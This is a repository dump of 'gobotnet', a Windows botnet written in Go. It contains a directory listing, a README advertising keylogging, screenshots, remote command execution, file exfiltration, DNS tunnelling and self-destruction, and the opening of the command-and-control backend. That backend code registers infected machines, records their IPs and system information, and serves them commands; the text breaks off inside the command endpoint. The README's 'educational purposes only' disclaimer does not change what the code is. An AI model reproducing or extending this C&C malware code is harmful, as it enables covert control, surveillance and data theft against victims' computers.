Full Code of andrewaeva/gobotnet for AI

master 50e114d40337 cached
579 files
9.1 MB
2.4M tokens
1443 symbols
1 requests
Download .txt
Showing preview only (9,661K chars total). Download the full file or copy to clipboard to get everything.
Repository: andrewaeva/gobotnet
Branch: master
Commit: 50e114d40337
Files: 579
Total size: 9.1 MB

Directory structure:
gitextract_cnst59q9/

├── .gitignore
├── README.md
├── backend_main.go
├── client/
│   ├── configuration.toml
│   ├── fakefiles/
│   │   └── test.txt
│   ├── main.go
│   └── utils/
│       ├── CreateSourceForFakeLaunchFile.go
│       ├── TestLaunchFakeFile.go
│       └── makebot.go
├── db/
│   └── schema.sql
├── dns_server.go
├── src/
│   ├── addfile/
│   │   ├── 11
│   │   ├── addfile.go
│   │   └── config.go
│   ├── gobotnet/
│   │   ├── file_operation.go
│   │   ├── keylogger.go
│   │   ├── other_function.go
│   │   ├── registration.go
│   │   ├── registry_work.go
│   │   └── screenshot.go
│   └── wrapper/
│       ├── api.go
│       └── winhttp.go
└── web/
    ├── auth.html
    ├── bower.json
    ├── bower_components/
    │   ├── angular/
    │   │   ├── .bower.json
    │   │   ├── LICENSE.md
    │   │   ├── README.md
    │   │   ├── angular-csp.css
    │   │   ├── angular.js
    │   │   ├── angular.min.js.gzip
    │   │   ├── bower.json
    │   │   ├── index.js
    │   │   └── package.json
    │   ├── angular-animate/
    │   │   ├── .bower.json
    │   │   ├── LICENSE.md
    │   │   ├── README.md
    │   │   ├── angular-animate.js
    │   │   ├── bower.json
    │   │   ├── index.js
    │   │   └── package.json
    │   ├── angular-aria/
    │   │   ├── .bower.json
    │   │   ├── LICENSE.md
    │   │   ├── README.md
    │   │   ├── angular-aria.js
    │   │   ├── bower.json
    │   │   ├── index.js
    │   │   └── package.json
    │   ├── angular-base64/
    │   │   ├── .bower.json
    │   │   ├── LICENSE
    │   │   ├── README.md
    │   │   ├── angular-base64.js
    │   │   └── bower.json
    │   ├── angular-clipboard/
    │   │   ├── .bower.json
    │   │   ├── .travis.yml
    │   │   ├── angular-clipboard.js
    │   │   └── bower.json
    │   ├── angular-material/
    │   │   ├── .bower.json
    │   │   ├── CHANGELOG.md
    │   │   ├── LICENSE
    │   │   ├── README.md
    │   │   ├── angular-material-mocks.js
    │   │   ├── angular-material.css
    │   │   ├── angular-material.js
    │   │   ├── angular-material.scss
    │   │   ├── bower.json
    │   │   ├── index.js
    │   │   ├── layouts/
    │   │   │   ├── angular-material.layout-attributes.css
    │   │   │   ├── angular-material.layout-attributes.scss
    │   │   │   ├── angular-material.layouts.css
    │   │   │   └── angular-material.layouts.scss
    │   │   ├── modules/
    │   │   │   ├── closure/
    │   │   │   │   ├── autocomplete/
    │   │   │   │   │   ├── autocomplete-default-theme.css
    │   │   │   │   │   ├── autocomplete.css
    │   │   │   │   │   └── autocomplete.js
    │   │   │   │   ├── backdrop/
    │   │   │   │   │   ├── backdrop-default-theme.css
    │   │   │   │   │   ├── backdrop.css
    │   │   │   │   │   └── backdrop.js
    │   │   │   │   ├── bottomSheet/
    │   │   │   │   │   ├── bottomSheet-default-theme.css
    │   │   │   │   │   ├── bottomSheet.css
    │   │   │   │   │   └── bottomSheet.js
    │   │   │   │   ├── button/
    │   │   │   │   │   ├── button-default-theme.css
    │   │   │   │   │   ├── button.css
    │   │   │   │   │   └── button.js
    │   │   │   │   ├── card/
    │   │   │   │   │   ├── card-default-theme.css
    │   │   │   │   │   ├── card.css
    │   │   │   │   │   └── card.js
    │   │   │   │   ├── checkbox/
    │   │   │   │   │   ├── checkbox-default-theme.css
    │   │   │   │   │   ├── checkbox.css
    │   │   │   │   │   └── checkbox.js
    │   │   │   │   ├── chips/
    │   │   │   │   │   ├── chips-default-theme.css
    │   │   │   │   │   ├── chips.css
    │   │   │   │   │   └── chips.js
    │   │   │   │   ├── colors/
    │   │   │   │   │   └── colors.js
    │   │   │   │   ├── content/
    │   │   │   │   │   ├── content-default-theme.css
    │   │   │   │   │   ├── content.css
    │   │   │   │   │   └── content.js
    │   │   │   │   ├── core/
    │   │   │   │   │   ├── core.css
    │   │   │   │   │   ├── core.js
    │   │   │   │   │   └── default-theme.js
    │   │   │   │   ├── datepicker/
    │   │   │   │   │   ├── datepicker-default-theme.css
    │   │   │   │   │   ├── datepicker.css
    │   │   │   │   │   └── datepicker.js
    │   │   │   │   ├── dialog/
    │   │   │   │   │   ├── dialog-default-theme.css
    │   │   │   │   │   ├── dialog.css
    │   │   │   │   │   └── dialog.js
    │   │   │   │   ├── divider/
    │   │   │   │   │   ├── divider-default-theme.css
    │   │   │   │   │   ├── divider.css
    │   │   │   │   │   └── divider.js
    │   │   │   │   ├── fabActions/
    │   │   │   │   │   └── fabActions.js
    │   │   │   │   ├── fabSpeedDial/
    │   │   │   │   │   ├── fabSpeedDial.css
    │   │   │   │   │   └── fabSpeedDial.js
    │   │   │   │   ├── fabToolbar/
    │   │   │   │   │   ├── fabToolbar.css
    │   │   │   │   │   └── fabToolbar.js
    │   │   │   │   ├── fabTrigger/
    │   │   │   │   │   └── fabTrigger.js
    │   │   │   │   ├── gridList/
    │   │   │   │   │   ├── gridList-default-theme.css
    │   │   │   │   │   ├── gridList.css
    │   │   │   │   │   └── gridList.js
    │   │   │   │   ├── icon/
    │   │   │   │   │   ├── icon-default-theme.css
    │   │   │   │   │   ├── icon.css
    │   │   │   │   │   └── icon.js
    │   │   │   │   ├── input/
    │   │   │   │   │   ├── input-default-theme.css
    │   │   │   │   │   ├── input.css
    │   │   │   │   │   └── input.js
    │   │   │   │   ├── list/
    │   │   │   │   │   ├── list-default-theme.css
    │   │   │   │   │   ├── list.css
    │   │   │   │   │   └── list.js
    │   │   │   │   ├── menu/
    │   │   │   │   │   ├── menu-default-theme.css
    │   │   │   │   │   ├── menu.css
    │   │   │   │   │   └── menu.js
    │   │   │   │   ├── menuBar/
    │   │   │   │   │   ├── menuBar-default-theme.css
    │   │   │   │   │   ├── menuBar.css
    │   │   │   │   │   └── menuBar.js
    │   │   │   │   ├── navBar/
    │   │   │   │   │   ├── navBar-default-theme.css
    │   │   │   │   │   ├── navBar.css
    │   │   │   │   │   └── navBar.js
    │   │   │   │   ├── panel/
    │   │   │   │   │   ├── panel-default-theme.css
    │   │   │   │   │   ├── panel.css
    │   │   │   │   │   └── panel.js
    │   │   │   │   ├── progressCircular/
    │   │   │   │   │   ├── progressCircular-default-theme.css
    │   │   │   │   │   ├── progressCircular.css
    │   │   │   │   │   └── progressCircular.js
    │   │   │   │   ├── progressLinear/
    │   │   │   │   │   ├── progressLinear-default-theme.css
    │   │   │   │   │   ├── progressLinear.css
    │   │   │   │   │   └── progressLinear.js
    │   │   │   │   ├── radioButton/
    │   │   │   │   │   ├── radioButton-default-theme.css
    │   │   │   │   │   ├── radioButton.css
    │   │   │   │   │   └── radioButton.js
    │   │   │   │   ├── select/
    │   │   │   │   │   ├── select-default-theme.css
    │   │   │   │   │   ├── select.css
    │   │   │   │   │   └── select.js
    │   │   │   │   ├── showHide/
    │   │   │   │   │   └── showHide.js
    │   │   │   │   ├── sidenav/
    │   │   │   │   │   ├── sidenav-default-theme.css
    │   │   │   │   │   ├── sidenav.css
    │   │   │   │   │   └── sidenav.js
    │   │   │   │   ├── slider/
    │   │   │   │   │   ├── slider-default-theme.css
    │   │   │   │   │   ├── slider.css
    │   │   │   │   │   └── slider.js
    │   │   │   │   ├── sticky/
    │   │   │   │   │   ├── sticky.css
    │   │   │   │   │   └── sticky.js
    │   │   │   │   ├── subheader/
    │   │   │   │   │   ├── subheader-default-theme.css
    │   │   │   │   │   ├── subheader.css
    │   │   │   │   │   └── subheader.js
    │   │   │   │   ├── swipe/
    │   │   │   │   │   └── swipe.js
    │   │   │   │   ├── switch/
    │   │   │   │   │   ├── switch-default-theme.css
    │   │   │   │   │   ├── switch.css
    │   │   │   │   │   └── switch.js
    │   │   │   │   ├── tabs/
    │   │   │   │   │   ├── tabs-default-theme.css
    │   │   │   │   │   ├── tabs.css
    │   │   │   │   │   └── tabs.js
    │   │   │   │   ├── textField/
    │   │   │   │   │   ├── textField-default-theme.css
    │   │   │   │   │   ├── textField.css
    │   │   │   │   │   └── textField.js
    │   │   │   │   ├── toast/
    │   │   │   │   │   ├── toast-default-theme.css
    │   │   │   │   │   ├── toast.css
    │   │   │   │   │   └── toast.js
    │   │   │   │   ├── toolbar/
    │   │   │   │   │   ├── toolbar-default-theme.css
    │   │   │   │   │   ├── toolbar.css
    │   │   │   │   │   └── toolbar.js
    │   │   │   │   ├── tooltip/
    │   │   │   │   │   ├── tooltip-default-theme.css
    │   │   │   │   │   ├── tooltip.css
    │   │   │   │   │   └── tooltip.js
    │   │   │   │   ├── virtualRepeat/
    │   │   │   │   │   ├── virtualRepeat.css
    │   │   │   │   │   └── virtualRepeat.js
    │   │   │   │   └── whiteframe/
    │   │   │   │       ├── whiteframe.css
    │   │   │   │       └── whiteframe.js
    │   │   │   ├── js/
    │   │   │   │   ├── autocomplete/
    │   │   │   │   │   ├── autocomplete-default-theme.css
    │   │   │   │   │   ├── autocomplete.css
    │   │   │   │   │   ├── autocomplete.js
    │   │   │   │   │   └── bower.json
    │   │   │   │   ├── backdrop/
    │   │   │   │   │   ├── backdrop-default-theme.css
    │   │   │   │   │   ├── backdrop.css
    │   │   │   │   │   ├── backdrop.js
    │   │   │   │   │   └── bower.json
    │   │   │   │   ├── bottomSheet/
    │   │   │   │   │   ├── bottomSheet-default-theme.css
    │   │   │   │   │   ├── bottomSheet.css
    │   │   │   │   │   ├── bottomSheet.js
    │   │   │   │   │   └── bower.json
    │   │   │   │   ├── button/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── button-default-theme.css
    │   │   │   │   │   ├── button.css
    │   │   │   │   │   └── button.js
    │   │   │   │   ├── card/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── card-default-theme.css
    │   │   │   │   │   ├── card.css
    │   │   │   │   │   └── card.js
    │   │   │   │   ├── checkbox/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── checkbox-default-theme.css
    │   │   │   │   │   ├── checkbox.css
    │   │   │   │   │   └── checkbox.js
    │   │   │   │   ├── chips/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── chips-default-theme.css
    │   │   │   │   │   ├── chips.css
    │   │   │   │   │   └── chips.js
    │   │   │   │   ├── colors/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   └── colors.js
    │   │   │   │   ├── content/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── content-default-theme.css
    │   │   │   │   │   ├── content.css
    │   │   │   │   │   └── content.js
    │   │   │   │   ├── core/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── core.css
    │   │   │   │   │   ├── core.js
    │   │   │   │   │   └── default-theme.js
    │   │   │   │   ├── datepicker/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── datepicker-default-theme.css
    │   │   │   │   │   ├── datepicker.css
    │   │   │   │   │   └── datepicker.js
    │   │   │   │   ├── dialog/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── dialog-default-theme.css
    │   │   │   │   │   ├── dialog.css
    │   │   │   │   │   └── dialog.js
    │   │   │   │   ├── divider/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── divider-default-theme.css
    │   │   │   │   │   ├── divider.css
    │   │   │   │   │   └── divider.js
    │   │   │   │   ├── fabActions/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   └── fabActions.js
    │   │   │   │   ├── fabSpeedDial/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── fabSpeedDial.css
    │   │   │   │   │   └── fabSpeedDial.js
    │   │   │   │   ├── fabToolbar/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── fabToolbar.css
    │   │   │   │   │   └── fabToolbar.js
    │   │   │   │   ├── fabTrigger/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   └── fabTrigger.js
    │   │   │   │   ├── gridList/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── gridList.css
    │   │   │   │   │   └── gridList.js
    │   │   │   │   ├── icon/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── icon-default-theme.css
    │   │   │   │   │   ├── icon.css
    │   │   │   │   │   └── icon.js
    │   │   │   │   ├── input/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── input-default-theme.css
    │   │   │   │   │   ├── input.css
    │   │   │   │   │   └── input.js
    │   │   │   │   ├── list/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── list-default-theme.css
    │   │   │   │   │   ├── list.css
    │   │   │   │   │   └── list.js
    │   │   │   │   ├── menu/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── menu-default-theme.css
    │   │   │   │   │   ├── menu.css
    │   │   │   │   │   └── menu.js
    │   │   │   │   ├── menuBar/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── menuBar-default-theme.css
    │   │   │   │   │   ├── menuBar.css
    │   │   │   │   │   └── menuBar.js
    │   │   │   │   ├── navBar/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── navBar-default-theme.css
    │   │   │   │   │   ├── navBar.css
    │   │   │   │   │   └── navBar.js
    │   │   │   │   ├── panel/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── panel-default-theme.css
    │   │   │   │   │   ├── panel.css
    │   │   │   │   │   └── panel.js
    │   │   │   │   ├── progressCircular/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── progressCircular-default-theme.css
    │   │   │   │   │   ├── progressCircular.css
    │   │   │   │   │   └── progressCircular.js
    │   │   │   │   ├── progressLinear/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── progressLinear-default-theme.css
    │   │   │   │   │   ├── progressLinear.css
    │   │   │   │   │   └── progressLinear.js
    │   │   │   │   ├── radioButton/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── radioButton-default-theme.css
    │   │   │   │   │   ├── radioButton.css
    │   │   │   │   │   └── radioButton.js
    │   │   │   │   ├── select/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── select-default-theme.css
    │   │   │   │   │   ├── select.css
    │   │   │   │   │   └── select.js
    │   │   │   │   ├── showHide/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   └── showHide.js
    │   │   │   │   ├── sidenav/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── sidenav-default-theme.css
    │   │   │   │   │   ├── sidenav.css
    │   │   │   │   │   └── sidenav.js
    │   │   │   │   ├── slider/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── slider-default-theme.css
    │   │   │   │   │   ├── slider.css
    │   │   │   │   │   └── slider.js
    │   │   │   │   ├── sticky/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── sticky.css
    │   │   │   │   │   └── sticky.js
    │   │   │   │   ├── subheader/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── subheader-default-theme.css
    │   │   │   │   │   ├── subheader.css
    │   │   │   │   │   └── subheader.js
    │   │   │   │   ├── swipe/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   └── swipe.js
    │   │   │   │   ├── switch/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── switch-default-theme.css
    │   │   │   │   │   ├── switch.css
    │   │   │   │   │   └── switch.js
    │   │   │   │   ├── tabs/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── tabs-default-theme.css
    │   │   │   │   │   ├── tabs.css
    │   │   │   │   │   └── tabs.js
    │   │   │   │   ├── textField/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── textField-default-theme.css
    │   │   │   │   │   ├── textField.css
    │   │   │   │   │   └── textField.js
    │   │   │   │   ├── toast/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── toast-default-theme.css
    │   │   │   │   │   ├── toast.css
    │   │   │   │   │   └── toast.js
    │   │   │   │   ├── toolbar/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── toolbar-default-theme.css
    │   │   │   │   │   ├── toolbar.css
    │   │   │   │   │   └── toolbar.js
    │   │   │   │   ├── tooltip/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── tooltip-default-theme.css
    │   │   │   │   │   ├── tooltip.css
    │   │   │   │   │   └── tooltip.js
    │   │   │   │   ├── virtualRepeat/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── virtualRepeat.css
    │   │   │   │   │   └── virtualRepeat.js
    │   │   │   │   └── whiteframe/
    │   │   │   │       ├── bower.json
    │   │   │   │       ├── whiteframe.css
    │   │   │   │       └── whiteframe.js
    │   │   │   ├── layouts/
    │   │   │   │   ├── angular-material.layout-attributes.css
    │   │   │   │   ├── angular-material.layouts.css
    │   │   │   │   └── angular-material.layouts.ie_fixes.css
    │   │   │   └── scss/
    │   │   │       ├── angular-material.layout-attributes.scss
    │   │   │       ├── angular-material.layouts.scss
    │   │   │       └── angular-material.scss
    │   │   └── package.json
    │   ├── angular-messages/
    │   │   ├── .bower.json
    │   │   ├── LICENSE.md
    │   │   ├── README.md
    │   │   ├── angular-messages.js
    │   │   ├── bower.json
    │   │   ├── index.js
    │   │   └── package.json
    │   ├── bootstrap/
    │   │   ├── .bower.json
    │   │   ├── CHANGELOG.md
    │   │   ├── Gruntfile.js
    │   │   ├── LICENSE
    │   │   ├── README.md
    │   │   ├── bower.json
    │   │   ├── dist/
    │   │   │   ├── css/
    │   │   │   │   ├── bootstrap-theme.css
    │   │   │   │   └── bootstrap.css
    │   │   │   └── js/
    │   │   │       ├── bootstrap.js
    │   │   │       └── npm.js
    │   │   ├── grunt/
    │   │   │   ├── .jshintrc
    │   │   │   ├── bs-commonjs-generator.js
    │   │   │   ├── bs-glyphicons-data-generator.js
    │   │   │   ├── bs-lessdoc-parser.js
    │   │   │   ├── bs-raw-files-generator.js
    │   │   │   ├── configBridge.json
    │   │   │   └── sauce_browsers.yml
    │   │   ├── js/
    │   │   │   ├── .jscsrc
    │   │   │   ├── .jshintrc
    │   │   │   ├── affix.js
    │   │   │   ├── alert.js
    │   │   │   ├── button.js
    │   │   │   ├── carousel.js
    │   │   │   ├── collapse.js
    │   │   │   ├── dropdown.js
    │   │   │   ├── modal.js
    │   │   │   ├── popover.js
    │   │   │   ├── scrollspy.js
    │   │   │   ├── tab.js
    │   │   │   ├── tooltip.js
    │   │   │   └── transition.js
    │   │   ├── less/
    │   │   │   ├── .csscomb.json
    │   │   │   ├── .csslintrc
    │   │   │   ├── alerts.less
    │   │   │   ├── badges.less
    │   │   │   ├── bootstrap.less
    │   │   │   ├── breadcrumbs.less
    │   │   │   ├── button-groups.less
    │   │   │   ├── buttons.less
    │   │   │   ├── carousel.less
    │   │   │   ├── close.less
    │   │   │   ├── code.less
    │   │   │   ├── component-animations.less
    │   │   │   ├── dropdowns.less
    │   │   │   ├── forms.less
    │   │   │   ├── glyphicons.less
    │   │   │   ├── grid.less
    │   │   │   ├── input-groups.less
    │   │   │   ├── jumbotron.less
    │   │   │   ├── labels.less
    │   │   │   ├── list-group.less
    │   │   │   ├── media.less
    │   │   │   ├── mixins/
    │   │   │   │   ├── alerts.less
    │   │   │   │   ├── background-variant.less
    │   │   │   │   ├── border-radius.less
    │   │   │   │   ├── buttons.less
    │   │   │   │   ├── center-block.less
    │   │   │   │   ├── clearfix.less
    │   │   │   │   ├── forms.less
    │   │   │   │   ├── gradients.less
    │   │   │   │   ├── grid-framework.less
    │   │   │   │   ├── grid.less
    │   │   │   │   ├── hide-text.less
    │   │   │   │   ├── image.less
    │   │   │   │   ├── labels.less
    │   │   │   │   ├── list-group.less
    │   │   │   │   ├── nav-divider.less
    │   │   │   │   ├── nav-vertical-align.less
    │   │   │   │   ├── opacity.less
    │   │   │   │   ├── pagination.less
    │   │   │   │   ├── panels.less
    │   │   │   │   ├── progress-bar.less
    │   │   │   │   ├── reset-filter.less
    │   │   │   │   ├── reset-text.less
    │   │   │   │   ├── resize.less
    │   │   │   │   ├── responsive-visibility.less
    │   │   │   │   ├── size.less
    │   │   │   │   ├── tab-focus.less
    │   │   │   │   ├── table-row.less
    │   │   │   │   ├── text-emphasis.less
    │   │   │   │   ├── text-overflow.less
    │   │   │   │   └── vendor-prefixes.less
    │   │   │   ├── mixins.less
    │   │   │   ├── modals.less
    │   │   │   ├── navbar.less
    │   │   │   ├── navs.less
    │   │   │   ├── normalize.less
    │   │   │   ├── pager.less
    │   │   │   ├── pagination.less
    │   │   │   ├── panels.less
    │   │   │   ├── popovers.less
    │   │   │   ├── print.less
    │   │   │   ├── progress-bars.less
    │   │   │   ├── responsive-embed.less
    │   │   │   ├── responsive-utilities.less
    │   │   │   ├── scaffolding.less
    │   │   │   ├── tables.less
    │   │   │   ├── theme.less
    │   │   │   ├── thumbnails.less
    │   │   │   ├── tooltip.less
    │   │   │   ├── type.less
    │   │   │   ├── utilities.less
    │   │   │   ├── variables.less
    │   │   │   └── wells.less
    │   │   ├── nuget/
    │   │   │   ├── MyGet.ps1
    │   │   │   ├── bootstrap.less.nuspec
    │   │   │   └── bootstrap.nuspec
    │   │   ├── package.js
    │   │   └── package.json
    │   ├── jquery/
    │   │   ├── .bower.json
    │   │   ├── AUTHORS.txt
    │   │   ├── LICENSE.txt
    │   │   ├── README.md
    │   │   ├── bower.json
    │   │   ├── dist/
    │   │   │   └── jquery.js
    │   │   ├── external/
    │   │   │   └── sizzle/
    │   │   │       ├── LICENSE.txt
    │   │   │       └── dist/
    │   │   │           └── sizzle.js
    │   │   └── src/
    │   │       ├── .jshintrc
    │   │       ├── ajax/
    │   │       │   ├── jsonp.js
    │   │       │   ├── load.js
    │   │       │   ├── parseJSON.js
    │   │       │   ├── parseXML.js
    │   │       │   ├── script.js
    │   │       │   ├── var/
    │   │       │   │   ├── location.js
    │   │       │   │   ├── nonce.js
    │   │       │   │   └── rquery.js
    │   │       │   └── xhr.js
    │   │       ├── ajax.js
    │   │       ├── attributes/
    │   │       │   ├── attr.js
    │   │       │   ├── classes.js
    │   │       │   ├── prop.js
    │   │       │   ├── support.js
    │   │       │   └── val.js
    │   │       ├── attributes.js
    │   │       ├── callbacks.js
    │   │       ├── core/
    │   │       │   ├── access.js
    │   │       │   ├── init.js
    │   │       │   ├── parseHTML.js
    │   │       │   ├── ready.js
    │   │       │   └── var/
    │   │       │       └── rsingleTag.js
    │   │       ├── core.js
    │   │       ├── css/
    │   │       │   ├── addGetHookIf.js
    │   │       │   ├── adjustCSS.js
    │   │       │   ├── curCSS.js
    │   │       │   ├── defaultDisplay.js
    │   │       │   ├── hiddenVisibleSelectors.js
    │   │       │   ├── showHide.js
    │   │       │   ├── support.js
    │   │       │   └── var/
    │   │       │       ├── cssExpand.js
    │   │       │       ├── getStyles.js
    │   │       │       ├── isHidden.js
    │   │       │       ├── rmargin.js
    │   │       │       ├── rnumnonpx.js
    │   │       │       └── swap.js
    │   │       ├── css.js
    │   │       ├── data/
    │   │       │   ├── Data.js
    │   │       │   └── var/
    │   │       │       ├── acceptData.js
    │   │       │       ├── dataPriv.js
    │   │       │       └── dataUser.js
    │   │       ├── data.js
    │   │       ├── deferred.js
    │   │       ├── deprecated.js
    │   │       ├── dimensions.js
    │   │       ├── effects/
    │   │       │   ├── Tween.js
    │   │       │   └── animatedSelector.js
    │   │       ├── effects.js
    │   │       ├── event/
    │   │       │   ├── ajax.js
    │   │       │   ├── alias.js
    │   │       │   ├── focusin.js
    │   │       │   ├── support.js
    │   │       │   └── trigger.js
    │   │       ├── event.js
    │   │       ├── exports/
    │   │       │   ├── amd.js
    │   │       │   └── global.js
    │   │       ├── intro.js
    │   │       ├── jquery.js
    │   │       ├── manipulation/
    │   │       │   ├── _evalUrl.js
    │   │       │   ├── buildFragment.js
    │   │       │   ├── getAll.js
    │   │       │   ├── setGlobalEval.js
    │   │       │   ├── support.js
    │   │       │   ├── var/
    │   │       │   │   ├── rcheckableType.js
    │   │       │   │   ├── rscriptType.js
    │   │       │   │   └── rtagName.js
    │   │       │   └── wrapMap.js
    │   │       ├── manipulation.js
    │   │       ├── offset.js
    │   │       ├── outro.js
    │   │       ├── queue/
    │   │       │   └── delay.js
    │   │       ├── queue.js
    │   │       ├── selector-native.js
    │   │       ├── selector-sizzle.js
    │   │       ├── selector.js
    │   │       ├── serialize.js
    │   │       ├── traversing/
    │   │       │   ├── findFilter.js
    │   │       │   └── var/
    │   │       │       ├── dir.js
    │   │       │       ├── rneedsContext.js
    │   │       │       └── siblings.js
    │   │       ├── traversing.js
    │   │       ├── var/
    │   │       │   ├── arr.js
    │   │       │   ├── class2type.js
    │   │       │   ├── concat.js
    │   │       │   ├── document.js
    │   │       │   ├── documentElement.js
    │   │       │   ├── hasOwn.js
    │   │       │   ├── indexOf.js
    │   │       │   ├── pnum.js
    │   │       │   ├── push.js
    │   │       │   ├── rcssNum.js
    │   │       │   ├── rnotwhite.js
    │   │       │   ├── slice.js
    │   │       │   ├── support.js
    │   │       │   └── toString.js
    │   │       └── wrap.js
    │   └── ngstorage/
    │       ├── .bower.json
    │       ├── .editorconfig
    │       ├── .gitattributes
    │       ├── .npmignore
    │       ├── LICENSE
    │       ├── README.md
    │       ├── bower.json
    │       ├── ngStorage.js
    │       └── package.js
    ├── main.html
    └── printDialog.tmpl.html

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
#bat scripts
*.bat
*.exe
*.a
*.exe~
*.xml
*.ids
db/backend.sqlite
.idea/
gobotnet.iml
ss.png
test.go
test.png
web/bower_components/angular-material/.gitignore
server/files/77a0b554-2e63-4cef-a470-3bcb6385b30d/screenshots/7d805d4a-6a71-4a0b-9114-77c2544e7f24.png


================================================
FILE: README.md
================================================
# Golang Botnet 

Pure HTTP and DNS Botnet written in Golang for Windows. C&C also written in Golang Echo Framework (API) and UI written in Angular.

# Wiki 
[Main] (https://github.com/andrewaeva/gobotnet/wiki/Main)

# Features

* Information gathering
* Execute commands
* Screenshots
* Keylogger
* Self Destruction
* Upload and Download Files
* Supporting System Proxy and NTLM authentication
* DNS Tunnel

# Build

# Terms of Use

* Do NOT use this on any computer you do not own, or are allowed to run this on;
* Credits must always be given, With linksback to here;
* You may NEVER attempt to sell this, its free and open source;
* The authors and publishers assume no responsibility;
* For educational purposes only.

# Authors

* https://github.com/Iljalala
* https://github.com/zavgoroa
* https://github.com/andrewaeva


================================================
FILE: backend_main.go
================================================
package main

import (
	"bufio"
	"database/sql"
	"encoding/base64"
	"fmt"
	"github.com/dgrijalva/jwt-go"
	"github.com/labstack/echo"
	"github.com/labstack/echo/engine/standard"
	"github.com/labstack/echo/middleware"
	_ "github.com/mattn/go-sqlite3"
	"github.com/satori/go.uuid"
	"net/http"
	"net/url"
	"os"
	"path/filepath"
	"strings"
)

func checkErr(err error) {
	if err != nil {
		fmt.Println(err)
	}
}

func checkAdminAuth(c echo.Context) bool {
	user := c.Get("user").(*jwt.Token)
	claims := user.Claims.(jwt.MapClaims)
	name := claims["name"].(string)
	admin := claims["admin"].(bool)
	if name == "Admin" && admin == true {
		return true
	}
	return false
}

func main() {

	db, err := sql.Open("sqlite3", "db/backend.sqlite")

	checkErr(err)

	defer db.Close()

	e := echo.New()

	e.Use(middleware.Logger())
	e.Use(middleware.Recover())
	e.Use(middleware.CORSWithConfig(middleware.CORSConfig{
		AllowOrigins: []string{"*"},
		AllowMethods: []string{echo.GET, echo.POST},
	}))
	// e.Use(middleware.StaticWithConfig(middleware.StaticConfig{
	// 	Root:   ".",
	// 	Browse: true,
	// }))

	e.GET("/api/v1/register/:name/:information/:groupid", func(c echo.Context) error {
		if c.Param("name") != "" && c.Param("information") != "" {
			req := c.Request().(*standard.Request).Request
			ip := strings.Split(req.RemoteAddr, ":")[0]
			escape_name, _ := url.QueryUnescape(c.Param("name"))
			name, err := base64.StdEncoding.DecodeString(string(escape_name))
			checkErr(err)

			escape_information, _ := url.QueryUnescape(c.Param("information"))
			information, err := base64.StdEncoding.DecodeString(string(escape_information))
			checkErr(err)

			groupid := "0"

			if c.Param("groupid") != "" {
				escape_groupid, _ := url.QueryUnescape(c.Param("groupid"))
				groupid, err = base64.StdEncoding.DecodeString(string(escape_groupid))
				checkErr(err)
			}

			var token string
			err = db.QueryRow("SELECT uuid FROM users WHERE name=? AND information=? AND ip=?",
				string(name), string(information), ip).Scan(&token)
			checkErr(err)
			if err == nil {
				return c.JSON(http.StatusOK, map[string]string{
					"token": token,
				})
			}

			uuid := uuid.NewV4()
			stmt, err := db.Prepare(`INSERT INTO users(uuid, ip, name, command, command_param, status, time, information, groupid)
			 			values (?, ?, ?, ?, ?, ?, ?, ?, ?)`)
			checkErr(err)
			stmt.Exec(uuid.String(), ip, string(name), "idle", "", "1", "CURRENT_TIMESTAMP", string(information), groupid)
			stmt.Close()

			stmt2, err := db.Prepare(`INSERT INTO upload(uuid, upload_base64_filename, upload_base64_data)
			 			values (?, ?, ?)`)
			checkErr(err)
			stmt2.Exec(uuid.String(), "", "")
			stmt2.Close()

			err = os.Mkdir("files/"+filepath.Clean(uuid.String()), 0777)
			err = os.Mkdir("files/"+filepath.Clean(uuid.String())+"/screenshots", 0777)
			err = os.Mkdir("files/"+filepath.Clean(uuid.String())+"/download_files", 0777)

			return c.JSON(http.StatusOK, map[string]string{
				"token": uuid.String(),
			})
		}
		return c.JSON(http.StatusBadRequest, map[string]string{
			"status": "error",
		})
	})

	e.GET("/api/v1/get_command/:uuid", func(c echo.Context) error {
		if c.Param("uuid") != "" {
			var command string
			var command_param string
			err := db.QueryRow("SELECT command, command_param FROM users WHERE uuid=?", c.Param("uuid")).Scan(&command, &command_param)
